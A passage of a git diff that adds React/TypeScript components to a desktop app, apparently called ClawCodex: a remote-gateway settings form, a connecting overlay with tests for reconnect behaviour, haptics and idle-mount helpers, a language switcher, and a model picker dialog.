+              <span className="text-xs font-medium text-muted-foreground">{copy.tokenTitle}</span>
+              <Input
+                autoComplete="off"
+                disabled={applying}
+                onChange={event => {
+                  invalidateTest()
+                  setRemoteToken(event.target.value)
+                }}
+                placeholder={copy.pasteSessionToken}
+                type="password"
+                value={remoteToken}
+              />
+              <span className="text-xs text-muted-foreground">{copy.tokenDesc}</span>
+            </label>
+          ) : null}
+
+          {error ? (
+            <div className="flex items-start gap-2 text-sm text-destructive">
+              <AlertCircle className="mt-0.5 size-4 shrink-0" />
+              <span>{error}</span>
+            </div>
+          ) : null}
+
+          {success ? (
+            <div className="flex items-center gap-2 text-sm text-primary">
+              <Check className="size-4" />
+              <span>{success}</span>
+            </div>
+          ) : null}
+        </div>
+
+        <div className="mt-7 flex flex-wrap items-center justify-between gap-3">
+          <Button disabled={applying} onClick={onBack} size="sm" variant="ghost">
+            {copy.backToSetup}
+          </Button>
+          <div className="flex items-center gap-2">
+            <Button
+              disabled={testing || applying || !canTest}
+              onClick={() => void testRemote()}
+              size="sm"
+              variant="secondary"
+            >
+              {testing ? <Loader2 className="size-4 animate-spin" /> : null}
+              {copy.testConnection}
+            </Button>
+            <Button disabled={applying || !canApply} onClick={() => void applyRemote()} size="sm">
+              {applying ? <Loader2 className="size-4 animate-spin" /> : null}
+              {copy.applyRemote}
+            </Button>
+          </div>
+        </div>
+      </div>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/gateway-connecting-overlay.test.tsx b/ui-desktop/src/components/gateway-connecting-overlay.test.tsx
new file mode 100644
index 000000000..fe015b25f
--- /dev/null
+++ b/ui-desktop/src/components/gateway-connecting-overlay.test.tsx
@@ -0,0 +1,199 @@
+import { act, cleanup, render, screen } from '@testing-library/react'
+import { afterEach, beforeEach, describe, expect, it } from 'vitest'
+
+import { $desktopBoot } from '@/store/boot'
+import { $gatewaySwitching } from '@/store/gateway-switch'
+import { $desktopOnboarding } from '@/store/onboarding'
+import { setGatewayState } from '@/store/session'
+
+import { BootFailureOverlay } from './boot-failure-overlay'
+import { GatewayConnectingOverlay } from './gateway-connecting-overlay'
+
+// Repro for the "remote gateway → stuck on CONNECTING, no way to settings"
+// report. The connecting overlay (full-screen, pointer-events on) used
+// to be shown whenever `gatewayState !== 'open' && !boot.error`. The ONLY escape
+// hatch — BootFailureOverlay, which has "Use local gateway" / "Sign in" /
+// "Retry" — only renders when `boot.error` is set.
+//
+// useGatewayBoot only calls failDesktopBoot() (which sets boot.error) when the
+// INITIAL boot() throws. After the first successful connect (bootCompleted),
+// any later socket drop goes through scheduleReconnect(), which loops FOREVER
+// against the dead remote. So gatewayState sits at 'closed'/'error' with
+// boot.error null. The fix keeps the initial-boot overlay out of post-boot
+// reconnects, leaving chat/settings usable while the reconnect loop runs.
+
+function resetStores() {
+  setGatewayState('idle')
+  $gatewaySwitching.set(false)
+  $desktopBoot.set({
+    error: null,
+    fakeMode: false,
+    message: 'ready',
+    phase: 'renderer.ready',
+    progress: 100,
+    running: false,
+    timestamp: Date.now(),
+    visible: false
+  })
+  $desktopOnboarding.set({
+    configured: true,
+    flow: { status: 'idle' },
+    mode: 'oauth',
+    providers: null,
+    reason: null,
+    requested: false,
+    firstRunSkipped: false,
+    manual: false,
+    localEndpoint: false
+  })
+}
+
+beforeEach(resetStores)
+afterEach(cleanup)
+
+// The connecting overlay renders "CONN" + a scrambled tail inside one
+// uppercase span; match that node specifically so the recovery overlay's
+// "Lost connection…" copy doesn't read as a false positive.
+const isConnectingShown = () =>
+  screen.queryAllByText((_, el) => /^CONN[/\\|\-_=+<>~:*A-Z]*$/.test(el?.textContent?.trim() ?? '')).length > 0
+
+const isRecoveryShown = () =>
+  Boolean(screen.queryByText(/use local gateway/i) || screen.queryByText(/retry/i) || screen.queryByText(/sign in/i))
+
+describe('connecting overlay vs recovery surface', () => {
+  it('hard initial-boot failure surfaces the recovery overlay (the working path)', async () => {
+    // failDesktopBoot() ran: error set, gateway never opened.
+    $desktopBoot.set({
+      ...$desktopBoot.get(),
+      error: 'ClawCodex backend did not become ready',
+      running: false,
+      visible: true
+    })
+    setGatewayState('error')
+
+    await act(async () => {
+      render(
+        <>
+          <GatewayConnectingOverlay />
+          <BootFailureOverlay />
+        </>
+      )
+    })
+
+    expect(isRecoveryShown()).toBe(true)
+    // Connecting overlay bows out when boot.error is set.
+    expect(isConnectingShown()).toBe(false)
+  })
+
+  it('post-boot socket drops do not re-cover the app with the initial CONNECTING overlay', async () => {
+    // 1. Initial boot succeeded: gateway opened, boot completed (no error).
+    setGatewayState('open')
+
+    let rerender!: (ui: React.ReactElement) => void
+    await act(async () => {
+      const result = render(
+        <>
+          <GatewayConnectingOverlay />
+          <BootFailureOverlay />
+        </>
+      )
+
+      rerender = result.rerender
+    })
+
+    expect(isConnectingShown()).toBe(false)
+
+    // 2. The remote VPS socket drops (sleep/wake, remote restart, network).
+    //    bootCompleted is true, so useGatewayBoot routes this through
+    //    scheduleReconnect() — boot.error stays NULL.
+    await act(async () => {
+      setGatewayState('closed')
+      rerender!(
+        <>
+          <GatewayConnectingOverlay />
+          <BootFailureOverlay />
+        </>
+      )
+    })
+
+    // The initial-boot connecting overlay stays out of the way, so settings and
+    // the composer remain reachable during the reconnect loop.
+    expect(isConnectingShown()).toBe(false)
+    expect(isRecoveryShown()).toBe(false)
+
+    // 3. Reconnect loops against the dead remote: gatewayState bounces closed
+    //    → error → closed. Until the escalation path sets boot.error, the app
+    //    remains usable instead of modal-blocked.
+    await act(async () => {
+      setGatewayState('error')
+      rerender!(
+        <>
+          <GatewayConnectingOverlay />
+          <BootFailureOverlay />
+        </>
+      )
+    })
+    expect($desktopBoot.get().error).toBeNull()
+    expect(isConnectingShown()).toBe(false)
+    expect(isRecoveryShown()).toBe(false)
+  })
+
+  it('soft gateway switch keeps the shell — no fullscreen CONNECTING', async () => {
+    setGatewayState('open')
+
+    const { rerender } = render(
+      <>
+        <GatewayConnectingOverlay />
+        <BootFailureOverlay />
+      </>
+    )
+
+    await act(async () => {
+      $gatewaySwitching.set(true)
+      $desktopBoot.set({
+        ...$desktopBoot.get(),
+        running: true,
+        visible: true,
+        progress: 4,
+        error: null
+      })
+      setGatewayState('closed')
+      rerender(
+        <>
+          <GatewayConnectingOverlay />
+          <BootFailureOverlay />
+        </>
+      )
+    })
+
+    expect(isConnectingShown()).toBe(false)
+    expect(isRecoveryShown()).toBe(false)
+  })
+
+  it('FIX: once the prolonged reconnect raises a recoverable boot error, the recovery overlay takes over', async () => {
+    // Mirrors what useGatewayBoot.scheduleReconnect() now does after ~45s of
+    // failed post-boot reconnects: it calls failDesktopBoot(), flipping the UI
+    // from the dead-end CONNECTING overlay to the recovery surface.
+    setGatewayState('error')
+    $desktopBoot.set({
+      ...$desktopBoot.get(),
+      error: 'Lost connection to the ClawCodex gateway and could not reconnect.',
+      running: false,
+      visible: true
+    })
+
+    await act(async () => {
+      render(
+        <>
+          <GatewayConnectingOverlay />
+          <BootFailureOverlay />
+        </>
+      )
+    })
+
+    // Escape hatch is now reachable; the connecting overlay bows out.
+    expect(isRecoveryShown()).toBe(true)
+    expect(screen.getByRole('button', { name: /gateway settings/i })).toBeTruthy()
+    expect(isConnectingShown()).toBe(false)
+  })
+})
diff --git a/ui-desktop/src/components/gateway-connecting-overlay.tsx b/ui-desktop/src/components/gateway-connecting-overlay.tsx
new file mode 100644
index 000000000..34303bb52
--- /dev/null
+++ b/ui-desktop/src/components/gateway-connecting-overlay.tsx
@@ -0,0 +1,160 @@
+import { useStore } from '@nanostores/react'
+import { useEffect, useRef, useState } from 'react'
+
+import { DecodeText } from '@/components/ui/decode-text'
+import { cn } from '@/lib/utils'
+import { $desktopBoot } from '@/store/boot'
+import { $gatewaySwitching } from '@/store/gateway-switch'
+import { $gatewayState } from '@/store/session'
+
+// Decode mechanics live in the shared <DecodeText> primitive
+// (components/ui/decode-text.tsx). "CONN" stays legible via prefix={4}.
+const TEXT = 'CONNECTING'
+
+// Exit choreography (ms): text fades down + out, hold, then the overlay fades.
+const TEXT_OUT_MS = 360
+const POST_TEXT_HOLD_MS = 300
+const OVERLAY_OUT_MS = 520
+// Preview-only: how long to "connect" for, and the pause before replaying.
+const PREVIEW_CONNECT_MS = 2600
+const PREVIEW_REPLAY_MS = 1100
+
+type Phase = 'live' | 'text-out' | 'overlay-out' | 'gone'
+
+// Dev affordance: a warm Cmd+R reconnects almost instantly, so the overlay
+// only flashes. Load with `?connecting=1` to force a looping preview.
+function forcedPreview(): boolean {
+  if (!import.meta.env.DEV || typeof window === 'undefined') {
+    return false
+  }
+
+  try {
+    return new URLSearchParams(window.location.search).get('connecting') === '1'
+  } catch {
+    return false
+  }
+}
+
+function prefersReducedMotion(): boolean {
+  return typeof window !== 'undefined' && Boolean(window.matchMedia?.('(prefers-reduced-motion: reduce)').matches)
+}
+
+export function GatewayConnectingOverlay() {
+  const gatewayState = useStore($gatewayState)
+  const boot = useStore($desktopBoot)
+  const gatewaySwitching = useStore($gatewaySwitching)
+  const [previewing] = useState(forcedPreview)
+  const reduce = prefersReducedMotion()
+  // Under reduced motion, skip the multi-phase exit choreography (text-out →
+  // hold → overlay fade) and jump straight to gone so the overlay unmounts
+  // the instant the gateway opens. E2E screenshots rely on this to avoid
+  // catching the overlay mid-fade.
+  const [phase, setPhase] = useState<Phase>('live')
+  // Once cold boot has completed once, never resurrect the fullscreen overlay
+  // — soft gateway switches keep the shell and reskeleton the sidebar instead.
+  const coldBootDoneRef = useRef(false)
+
+  if (!boot.running && boot.progress >= 100 && !boot.error) {
+    coldBootDoneRef.current = true
+  }
+
+  // The full-screen connecting overlay is for initial boot only. After a
+  // healthy boot, flaky networks / sleep-wake can drop the socket and flip the
+  // gateway state back to closed/error while the app reconnects. Do not cover
+  // the chat then — users should still be able to type drafts, open settings,
+  // and recover instead of staring at a modal CONNECTING screen.
+  const initialBootActive = boot.visible || boot.running || boot.progress < 100
+
+  const connecting =
+    !coldBootDoneRef.current && !gatewaySwitching && gatewayState !== 'open' && !boot.error && initialBootActive
+
+  // Latches once we've actually shown the overlay, so the brief frame where
+  // gatewayState flips to "open" (connecting -> false) before the exit phase
+  // kicks in doesn't unmount us and cause a flash.
+  const shownRef = useRef(false)
+
+  if (previewing || connecting) {
+    shownRef.current = true
+  }
+
+  // Kick off the exit when connected: real connect, or a faked timer in preview.
+  useEffect(() => {
+    if (phase !== 'live') {
+      return
+    }
+
+    if (previewing) {
+      const id = window.setTimeout(() => setPhase('text-out'), PREVIEW_CONNECT_MS)
+
+      return () => window.clearTimeout(id)
+    }
+
+    if (gatewayState === 'open' && shownRef.current) {
+      // Under reduced motion, skip the multi-phase exit choreography
+      // (text-out → hold → overlay fade) and jump straight to gone so the
+      // overlay unmounts the instant the gateway opens. E2E screenshots
+      // rely on this to avoid catching the overlay mid-fade.
+      setPhase(reduce ? 'gone' : 'text-out')
+    }
+  }, [phase, previewing, gatewayState, reduce])
+
+  // Advance the exit choreography: text-out -> overlay-out -> gone.
+  useEffect(() => {
+    if (phase === 'text-out') {
+      const id = window.setTimeout(() => setPhase('overlay-out'), TEXT_OUT_MS + POST_TEXT_HOLD_MS)
+
+      return () => window.clearTimeout(id)
+    }
+
+    if (phase === 'overlay-out') {
+      const id = window.setTimeout(() => setPhase('gone'), OVERLAY_OUT_MS)
+
+      return () => window.clearTimeout(id)
+    }
+
+    // Preview replays so we can keep watching the transition.
+    if (phase === 'gone' && previewing) {
+      const id = window.setTimeout(() => setPhase('live'), PREVIEW_REPLAY_MS)
+
+      return () => window.clearTimeout(id)
+    }
+  }, [phase, previewing])
+
+  // Boot failed — BootFailureOverlay owns the screen; don't linger behind it.
+  if (boot.error && !previewing) {
+    return null
+  }
+
+  // Real connect: once the fade finishes, get out of the way for good.
+  if (phase === 'gone' && !previewing) {
+    return null
+  }
+
+  // Never showed (e.g. gateway already up on a warm reload) — stay out.
+  if (!previewing && !connecting && !shownRef.current) {
+    return null
+  }
+
+  const leaving = phase !== 'live'
+  const overlayHidden = phase === 'overlay-out' || phase === 'gone'
+
+  return (
+    <div
+      className={cn(
+        'fixed inset-0 z-(--z-connecting) grid place-items-center bg-(--ui-chat-surface-background) transition-opacity duration-500 ease-out',
+        overlayHidden ? 'pointer-events-none opacity-0' : 'opacity-100'
+      )}
+    >
+      <DecodeText
+        active={phase === 'live' && (previewing || connecting)}
+        className={cn(
+          'pl-[0.4em] text-(--theme-primary) transition duration-300 ease-out',
+          leaving ? 'translate-y-2 opacity-0 saturate-0' : 'translate-y-0 opacity-100 saturate-100'
+        )}
+        cursor
+        prefix={4}
+        text={TEXT}
+      />
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/haptics-provider.tsx b/ui-desktop/src/components/haptics-provider.tsx
new file mode 100644
index 000000000..233dc2f75
--- /dev/null
+++ b/ui-desktop/src/components/haptics-provider.tsx
@@ -0,0 +1,43 @@
+import { useStore } from '@nanostores/react'
+import { type ReactNode, useEffect } from 'react'
+import { useWebHaptics } from 'web-haptics/react'
+
+import { registerHapticTrigger } from '@/lib/haptics'
+import { $hapticsMuted } from '@/store/haptics'
+
+export function HapticsProvider({ children }: { children: ReactNode }) {
+  const muted = useStore($hapticsMuted)
+  const { trigger } = useWebHaptics({ debug: true, showSwitch: false })
+
+  useEffect(() => {
+    registerHapticTrigger(muted ? null : trigger)
+
+    return () => registerHapticTrigger(null)
+  }, [muted, trigger])
+
+  // web-haptics builds its AudioContext lazily inside the first trigger(), and
+  // the process's first AudioContext pays the CoreAudio spin-up (~850ms stall
+  // in profiles) — which landed on the first streamStart haptic as the first
+  // token painted. Open/close a throwaway context at idle so the real one
+  // connects to an already-warm audio service in single-digit ms.
+  useEffect(() => {
+    if (typeof requestIdleCallback !== 'function' || typeof AudioContext === 'undefined') {
+      return undefined
+    }
+
+    const id = requestIdleCallback(
+      () => {
+        try {
+          void new AudioContext().close().catch(() => undefined)
+        } catch {
+          // No audio device (headless CI) — nothing to warm.
+        }
+      },
+      { timeout: 2000 }
+    )
+
+    return () => cancelIdleCallback(id)
+  }, [])
+
+  return <>{children}</>
+}
diff --git a/ui-desktop/src/components/idle-mount.test.tsx b/ui-desktop/src/components/idle-mount.test.tsx
new file mode 100644
index 000000000..db51c1578
--- /dev/null
+++ b/ui-desktop/src/components/idle-mount.test.tsx
@@ -0,0 +1,50 @@
+import { act, cleanup, render, screen } from '@testing-library/react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { IdleMount } from './idle-mount'
+
+afterEach(() => {
+  cleanup()
+  vi.unstubAllGlobals()
+})
+
+describe('IdleMount', () => {
+  it('mounts eagerly where requestIdleCallback is unavailable', () => {
+    vi.stubGlobal('requestIdleCallback', undefined)
+
+    render(
+      <IdleMount>
+        <span>child</span>
+      </IdleMount>
+    )
+
+    expect(screen.getByText('child')).toBeTruthy()
+  })
+
+  it('defers the child to idle, then keeps it mounted', () => {
+    let fire: (() => void) | null = null
+
+    const ric = vi.fn((cb: () => void) => {
+      fire = cb
+
+      return 1
+    })
+
+    vi.stubGlobal('requestIdleCallback', ric)
+    vi.stubGlobal('cancelIdleCallback', vi.fn())
+
+    render(
+      <IdleMount>
+        <span>child</span>
+      </IdleMount>
+    )
+
+    // Not on the first-paint path — nothing rendered until the browser is idle.
+    expect(screen.queryByText('child')).toBeNull()
+    expect(ric).toHaveBeenCalledOnce()
+
+    act(() => fire?.())
+
+    expect(screen.getByText('child')).toBeTruthy()
+  })
+})
diff --git a/ui-desktop/src/components/idle-mount.tsx b/ui-desktop/src/components/idle-mount.tsx
new file mode 100644
index 000000000..9a15ce84b
--- /dev/null
+++ b/ui-desktop/src/components/idle-mount.tsx
@@ -0,0 +1,28 @@
+import { type ReactNode, useEffect, useState } from 'react'
+
+/**
+ * Mounts `children` only once the browser goes idle (or `timeout` ms elapse),
+ * then keeps them mounted for good. Lifts non-critical, boot-hidden surfaces
+ * (display:none panes: files/preview/review/logs) off the first-paint critical
+ * path with ZERO visible change — idle fires within a frame of first paint, so
+ * a hidden pane is warm long before the user can reveal it, preserving the
+ * "toggle back is instant" contract while shrinking cold-start app-mount.
+ *
+ * Degrades to eager mount where requestIdleCallback is absent (jsdom/tests,
+ * older webviews), so there's no behavioral fork to reason about there.
+ */
+export function IdleMount({ children, timeout = 2000 }: { children: ReactNode; timeout?: number }) {
+  const [ready, setReady] = useState(typeof requestIdleCallback !== 'function')
+
+  useEffect(() => {
+    if (ready) {
+      return undefined
+    }
+
+    const id = requestIdleCallback(() => setReady(true), { timeout })
+
+    return () => cancelIdleCallback(id)
+  }, [ready, timeout])
+
+  return ready ? <>{children}</> : null
+}
diff --git a/ui-desktop/src/components/language-switcher.test.tsx b/ui-desktop/src/components/language-switcher.test.tsx
new file mode 100644
index 000000000..37e4568cf
--- /dev/null
+++ b/ui-desktop/src/components/language-switcher.test.tsx
@@ -0,0 +1,53 @@
+import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import type { ClawCodexConfigRecord } from '@/clawcodex'
+import { type I18nConfigClient, I18nProvider } from '@/i18n'
+
+import { LanguageSwitcher } from './language-switcher'
+
+// cmdk (the searchable list) wires a ResizeObserver and scrolls the active
+// item into view — neither exists in jsdom. Stub them, matching the polyfill
+// idiom in tool-approval-group.test.tsx.
+class TestResizeObserver {
+  observe() {}
+  unobserve() {}
+  disconnect() {}
+}
+
+vi.stubGlobal('ResizeObserver', TestResizeObserver)
+
+Element.prototype.scrollIntoView = function scrollIntoView() {}
+
+describe('LanguageSwitcher', () => {
+  afterEach(() => {
+    cleanup()
+    vi.restoreAllMocks()
+  })
+
+  it('persists language changes through display.language config', async () => {
+    const saveConfig = vi.fn().mockResolvedValue({ ok: true })
+    const latestConfig: ClawCodexConfigRecord = { display: { language: 'en', skin: 'slate' } }
+
+    const configClient: I18nConfigClient = {
+      getConfig: vi.fn().mockResolvedValue(latestConfig),
+      saveConfig
+    }
+
+    render(
+      <I18nProvider configClient={configClient}>
+        <LanguageSwitcher />
+      </I18nProvider>
+    )
+
+    await waitFor(() => {
+      expect(screen.getByRole('button', { name: 'Switch language' }).hasAttribute('disabled')).toBe(false)
+    })
+
+    fireEvent.click(screen.getByRole('button', { name: 'Switch language' }))
+    fireEvent.click(screen.getByRole('option', { name: /日本語/i }))
+
+    await waitFor(() => expect(saveConfig).toHaveBeenCalledTimes(1))
+    expect(saveConfig).toHaveBeenCalledWith({ display: { language: 'ja', skin: 'slate' } })
+  })
+})
diff --git a/ui-desktop/src/components/language-switcher.tsx b/ui-desktop/src/components/language-switcher.tsx
new file mode 100644
index 000000000..d9f330e1f
--- /dev/null
+++ b/ui-desktop/src/components/language-switcher.tsx
@@ -0,0 +1,175 @@
+import { useState } from 'react'
+
+import { Button } from '@/components/ui/button'
+import { Command, CommandInput, CommandItem, CommandList } from '@/components/ui/command'
+import { Popover, PopoverContent, PopoverTrigger } from '@/components/ui/popover'
+import { Sheet, SheetContent, SheetDescription, SheetHeader, SheetTitle, SheetTrigger } from '@/components/ui/sheet'
+import { useIsMobile } from '@/hooks/use-mobile'
+import { type Locale, LOCALE_META, useI18n } from '@/i18n'
+import { triggerHaptic } from '@/lib/haptics'
+import { Check, ChevronDown, Globe } from '@/lib/icons'
+import { normalize } from '@/lib/text'
+import { cn } from '@/lib/utils'
+import { notifyError } from '@/store/notifications'
+
+export interface LanguageSwitcherProps {
+  className?: string
+  collapsed?: boolean
+  dropUp?: boolean
+}
+
+interface LanguageCommandProps {
+  allLocales: Array<[Locale, (typeof LOCALE_META)[Locale]]>
+  autoFocus?: boolean
+  disabled?: boolean
+  locale: Locale
+  noResults: string
+  onSelect: (code: Locale) => void
+  searchPlaceholder: string
+}
+
+export function LanguageSwitcher({ className, collapsed = false, dropUp = false }: LanguageSwitcherProps) {
+  const { isSavingLocale, locale, setLocale, t } = useI18n()
+  const [open, setOpen] = useState(false)
+  const isMobile = useIsMobile()
+  const useMobileSheet = Boolean(dropUp && isMobile)
+  const current = LOCALE_META[locale]
+  const allLocales = Object.entries(LOCALE_META) as Array<[Locale, typeof current]>
+  const title = t.language.switchTo
+
+  const selectLocale = async (code: Locale) => {
+    if (code === locale || isSavingLocale) {
+      setOpen(false)
+
+      return
+    }
+
+    triggerHaptic('selection')
+
+    try {
+      await setLocale(code)
+      setOpen(false)
+      triggerHaptic('success')
+    } catch (error) {
+      notifyError(error, t.language.saveError)
+    }
+  }
+
+  const trigger = (
+    <Button
+      aria-expanded={open}
+      aria-label={title}
+      className={cn(
+        'min-w-32 justify-between gap-2 border-(--ui-stroke-tertiary) bg-(--ui-bg-quinary) px-2.5 text-left text-muted-foreground hover:text-foreground',
+        collapsed && 'min-w-0 px-2',
+        className
+      )}
+      disabled={isSavingLocale}
+      size="sm"
+      type="button"
+      variant="outline"
+    >
+      <span className="inline-flex min-w-0 items-center gap-2">
+        <Globe className="size-3.5 shrink-0" />
+        {!collapsed && <span className="truncate">{current.name}</span>}
+      </span>
+      {!collapsed && <ChevronDown className="size-3 shrink-0 opacity-70" />}
+    </Button>
+  )
+
+  if (useMobileSheet) {
+    return (
+      <Sheet onOpenChange={setOpen} open={open}>
+        <SheetTrigger asChild>{trigger}</SheetTrigger>
+        <SheetContent className="max-h-[min(28rem,80vh)] rounded-t-xl" side="bottom">
+          <SheetHeader>
+            <SheetTitle>{title}</SheetTitle>
+            <SheetDescription>{t.language.description}</SheetDescription>
+          </SheetHeader>
+          <LanguageCommand
+            allLocales={allLocales}
+            disabled={isSavingLocale}
+            locale={locale}
+            noResults={t.language.noResults}
+            onSelect={code => void selectLocale(code)}
+            searchPlaceholder={t.language.searchPlaceholder}
+          />
+        </SheetContent>
+      </Sheet>
+    )
+  }
+
+  return (
+    <Popover onOpenChange={setOpen} open={open}>
+      <PopoverTrigger asChild>{trigger}</PopoverTrigger>
+      <PopoverContent align="end" className="w-56 p-0" side={dropUp ? 'top' : 'bottom'}>
+        <LanguageCommand
+          allLocales={allLocales}
+          autoFocus
+          disabled={isSavingLocale}
+          locale={locale}
+          noResults={t.language.noResults}
+          onSelect={code => void selectLocale(code)}
+          searchPlaceholder={t.language.searchPlaceholder}
+        />
+      </PopoverContent>
+    </Popover>
+  )
+}
+
+function LanguageCommand({
+  allLocales,
+  autoFocus,
+  disabled,
+  locale,
+  noResults,
+  onSelect,
+  searchPlaceholder
+}: LanguageCommandProps) {
+  const [search, setSearch] = useState('')
+
+  // Own the search term and filter manually. cmdk's built-in shouldFilter
+  // reorders items by its fuzzy-match score (≈alphabetical with an empty
+  // query), which destroys the curated en→zh→zh-hant→ja order. We disable it
+  // and do a plain substring filter that preserves array order — matching
+  // model-picker.tsx. Match against the endonym, the (hidden) English name,
+  // and the locale code so "日本"/"japanese"/"ja" all find Japanese.
+  const q = normalize(search)
+
+  const filtered = allLocales.filter(
+    ([code, meta]) =>
+      !q ||
+      meta.name.toLowerCase().includes(q) ||
+      meta.englishName.toLowerCase().includes(q) ||
+      code.toLowerCase().includes(q)
+  )
+
+  return (
+    <Command className="bg-transparent" shouldFilter={false}>
+      <CommandInput autoFocus={autoFocus} onValueChange={setSearch} placeholder={searchPlaceholder} value={search} />
+      <CommandList className="max-h-80 p-1">
+        {filtered.length === 0 ? (
+          <div className="py-6 text-center text-sm text-muted-foreground">{noResults}</div>
+        ) : (
+          filtered.map(([code, meta]) => {
+            const selected = code === locale
+
+            return (
+              <CommandItem
+                className={cn(selected ? 'font-medium text-foreground' : 'text-muted-foreground')}
+                disabled={disabled}
+                key={code}
+                onSelect={() => onSelect(code)}
+                value={code}
+              >
+                <Check className={cn('size-3.5 shrink-0 text-primary', !selected && 'invisible')} />
+                <span className="min-w-0 flex-1 truncate">{meta.name}</span>
+                <span className="font-mono text-[0.65rem] uppercase text-(--ui-text-tertiary)">{code}</span>
+              </CommandItem>
+            )
+          })
+        )}
+      </CommandList>
+    </Command>
+  )
+}
diff --git a/ui-desktop/src/components/model-picker.tsx b/ui-desktop/src/components/model-picker.tsx
new file mode 100644
index 000000000..bd940044a
--- /dev/null
+++ b/ui-desktop/src/components/model-picker.tsx
@@ -0,0 +1,351 @@
+import { useQuery } from '@tanstack/react-query'
+import { useState } from 'react'
+
+import { useI18n } from '@/i18n'
+import { modelOptionsQueryKey, requestModelOptions } from '@/lib/model-options'
+import { modelSearchText } from '@/lib/model-search-text'
+import { currentPickerSelection } from '@/lib/model-status-label'
+import { normalize } from '@/lib/text'
+import type { ModelOptionProvider, ModelPricing } from '@/types/clawcodex'
+
+import type { ClawCodexGateway } from '../clawcodex'
+import { cn } from '../lib/utils'
+import { startManualOnboarding } from '../store/onboarding'
+
+import { InlineNotice } from './notifications'
+import { Button } from './ui/button'
+import { Command, CommandEmpty, CommandGroup, CommandInput, CommandItem, CommandList } from './ui/command'
+import { Dialog, DialogContent, DialogDescription, DialogFooter, DialogHeader, DialogTitle } from './ui/dialog'
+import { HighlightMatches } from './ui/highlight-matches'
+import { Skeleton } from './ui/skeleton'
+
+interface ModelPickerDialogProps {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+  gw?: ClawCodexGateway
+  sessionId?: string | null
+  currentModel: string
+  currentProvider: string
+  onSelect: (selection: { provider: string; model: string }) => void
+  profile?: string
+  /**
+   * Optional class for DialogContent. Use it to lift the picker onto a higher
+   * rung of the overlay ladder when it opens over another fixed overlay (the
+   * desktop onboarding overlay, say) — on the default modal rung it renders
+   * underneath and blocks pointer events.
+   */
+  contentClassName?: string
+}
+
+export function ModelPickerDialog({
+  open,
+  onOpenChange,
+  gw,
+  sessionId,
+  currentModel,
+  currentProvider,
+  onSelect,
+  profile = 'default',
+  contentClassName
+}: ModelPickerDialogProps) {
+  const { t } = useI18n()
+  const copy = t.modelPicker
+  // Own the search term so we can filter manually. cmdk's built-in
+  // shouldFilter reorders items by its fuzzy-match score (≈alphabetical with
+  // an empty query), which destroys the backend's curated order. We disable
+  // it and do a plain substring filter that preserves array order — matching
+  // the `clawcodex model` CLI picker, which shows the curated list verbatim.
+  const [search, setSearch] = useState('')
+
+  const modelOptions = useQuery({
+    queryKey: modelOptionsQueryKey(profile, sessionId),
+    queryFn: () => requestModelOptions({ gateway: gw, sessionId }),
+    enabled: open
+  })
+
+  const providers = modelOptions.data?.providers ?? []
+
+  const { model: optionsModel, provider: optionsProvider } = currentPickerSelection(
+    { model: currentModel, provider: currentProvider },
+    modelOptions.data
+  )
+
+  const loading = modelOptions.isPending && !modelOptions.data
+
+  const error = modelOptions.error
+    ? modelOptions.error instanceof Error
+      ? modelOptions.error.message
+      : String(modelOptions.error)
+    : null
+
+  const selectModel = (provider: ModelOptionProvider, model: string) => {
+    onSelect({ provider: provider.slug, model })
+    onOpenChange(false)
+  }
+
+  // Open the full onboarding provider selector to add/switch a provider.
+  // Reuses the entire onboarding flow (OAuth rows, API-key form, device-code,
+  // model-confirm) instead of duplicating provider UI here. Closes the picker
+  // so the onboarding overlay isn't rendered underneath it.
+  const addProvider = () => {
+    startManualOnboarding()
+    onOpenChange(false)
+  }
+
+  return (
+    <Dialog onOpenChange={onOpenChange} open={open}>
+      <DialogContent
+        bodyClassName="gap-0 overflow-hidden p-0"
+        className={cn('max-h-[85vh] max-w-2xl', contentClassName)}
+      >
+        <DialogHeader className="border-b border-border px-4 py-3">
+          <DialogTitle>{copy.title}</DialogTitle>
+          <DialogDescription className="font-mono text-xs leading-relaxed">
+            {copy.current} {optionsModel || currentModel || copy.unknown}
+            {optionsProvider || currentProvider ? ` · ${optionsProvider || currentProvider}` : ''}
+          </DialogDescription>
+        </DialogHeader>
+
+        <Command className="rounded-none bg-card" shouldFilter={false}>
+          <CommandInput autoFocus onValueChange={setSearch} placeholder={copy.search} value={search} />
+          <CommandList className="max-h-96">
+            {!loading && !error && <CommandEmpty>{copy.noModels}</CommandEmpty>}
+            <ModelResults
+              currentModel={optionsModel || currentModel}
+              currentProvider={optionsProvider || currentProvider}
+              error={error}
+              loading={loading}
+              onSelectModel={selectModel}
+              providers={providers}
+              search={search}
+            />
+          </CommandList>
+        </Command>
+
+        <DialogFooter className="flex-row items-center justify-end gap-2 bg-card p-3">
+          <Button onClick={addProvider} variant="ghost">
+            {copy.addProvider}
+          </Button>
+          <Button onClick={() => onOpenChange(false)} variant="outline">
+            {t.common.cancel}
+          </Button>
+        </DialogFooter>
+      </DialogContent>
+    </Dialog>
+  )
+}
+
+function ModelResults({
+  loading,
+  error,
+  providers,
+  currentModel,
+  currentProvider,
+  onSelectModel,
+  search
+}: {
+  loading: boolean
+  error: string | null
+  providers: ModelOptionProvider[]
+  currentModel: string
+  currentProvider: string
+  onSelectModel: (provider: ModelOptionProvider, model: string) => void
+  search: string
+}) {
+  const { t } = useI18n()
+  const copy = t.modelPicker
+
+  if (loading) {
+    return <LoadingResults />
+  }
+
+  if (error) {
+    return (
+      <div className="px-3 py-3">
+        <InlineNotice kind="error" title={copy.loadFailed}>
+          {error}
+        </InlineNotice>
+      </div>
+    )
+  }
+
+  if (providers.length === 0) {
+    return <div className="px-4 py-6 text-sm text-muted-foreground">{copy.noAuthenticatedProviders}</div>
+  }
+
+  const q = normalize(search)
+
+  const matches = (provider: ModelOptionProvider, model: string) =>
+    !q ||
+    modelSearchText(model).toLowerCase().includes(q) ||
+    provider.name.toLowerCase().includes(q) ||
+    provider.slug.toLowerCase().includes(q)
+
+  // Only configured providers (those with curated models) are selectable
+  // here. Switching to a NOT-yet-configured provider goes through the
+  // "Add provider" footer button, which opens the full onboarding selector.
+  const configured = providers.filter(p => (p.models ?? []).length > 0)
+
+  return (
+    <>
+      {configured.map(provider => {
+        // Preserve the backend's curated order — filter in place, no re-sort.
+        const models = (provider.models ?? []).filter(m => matches(provider, m))
+
